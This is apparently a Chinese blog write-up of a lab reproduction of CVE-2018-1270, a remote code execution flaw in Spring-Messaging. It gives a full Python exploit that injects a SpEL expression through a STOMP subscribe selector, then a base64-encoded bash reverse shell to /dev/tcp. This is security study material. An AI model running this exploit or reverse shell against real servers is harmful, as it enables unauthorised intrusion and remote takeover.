Spring-Messaging远程代码执行漏洞复现(CVE-2018-1270)

 第一次发博客,记录一次复现过程。

漏洞描述:

Spring框架中通过spring-messaging模块来实现STOMP(Simple Text-Orientated Messaging Protocol),STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条SpEL表达式消息造成远程代码执行。如果使用了Spring Security项目中的权限认证,可以在一定程度上增加漏洞利用难度。

1、WebSocket协议,是HTML5提供的一种可在单个TCP连接上进行全双工通讯的协议。即允许服务端主动向客户端推送数据。

2、SockJS,一个JavaScript库,它在浏览器和Web服务器之间创建了一个低延迟、全双工、跨域通信通道。另外由于WebSocket是HTML5新增的特性,一些浏览器可能不支持,因此回退机制就很必要。SockJS就提供了该功能,即优先使用WebSocket,当浏览器不支持WebSocket时,会自动降为轮询或其他方式。

3、STOMP(Simple Text Orientated Messaging Protocol),简单面向文本的消息传递协议,可以理解为它是对WebSocket协议的封装,可以类比http与tcp的关系。

漏洞复现 :

开启环境:

访问http://192.168.75.130:8080/

先点击Connect按钮与服务端建立连接,这时selector头也发送到了服务端:

发送消息与服务端通信时,发送的Spring表达式会被解析,从而造成rce。

利用vulhub中的exploit.py:

 

#!/usr/bin/env python3

import requests

import random

import string

import time

import threading

import logging

import sys

import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):

letters = string.ascii_lowercase + string.digits

return ''.join(random.choice(letters) for c in range(length))

class SockJS(threading.Thread):

def __init__(self, url, *args, **kwargs):

super().__init__(*args, **kwargs)

self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'

self.daemon = True

self.session = requests.session()

self.session.headers = {

'Referer': url,

'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'

}

self.t = int(time.time()*1000)

def run(self):

url = f'{self.base}/htmlfile?c=_jp.vulhub'

response = self.session.get(url, stream=True)

for line in response.iter_lines():

time.sleep(0.5)

def send(self, command, headers, body=''):

data = [command.upper(), '\n']

data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

data.append('\n\n')

data.append(body)

data.append('\x00')

data = json.dumps([''.join(data)])

response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)

if response.status_code != 204:

logging.info(f"send '{command}' data error.")

else:

logging.info(f"send '{command}' data success.")

def __del__(self):

self.session.close()

sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')

sockjs.start()

time.sleep(1)

sockjs.send('connect', {

'accept-version': '1.1,1.0',

'heart-beat': '10000,10000'

})

sockjs.send('subscribe', {

'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",

'id': 'sub-0',

'destination': '/topic/greetings'

})

data = json.dumps({'name': 'vulhub'})

sockjs.send('send', {

'content-length': len(data),

'destination': '/app/hello'

}, data)

使用vi命令修改ip为靶机ip:

执行攻击脚本:

进入容器查看,成功创建success文件:

验证成功。

 

尝试反弹shell:

开启监听:

利用反弹shell指令:

bash -i >& /dev/tcp/your-ip/7777 0>&1

 经base64编码后为:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjEzMC83Nzc3IDA+JjE=

修改EXP:

将:

'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')"

修改为:

'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjEzMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}')"

执行EXP:

shell反弹成功:

实现远程命令执行。

漏洞修复:

升级版本。

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值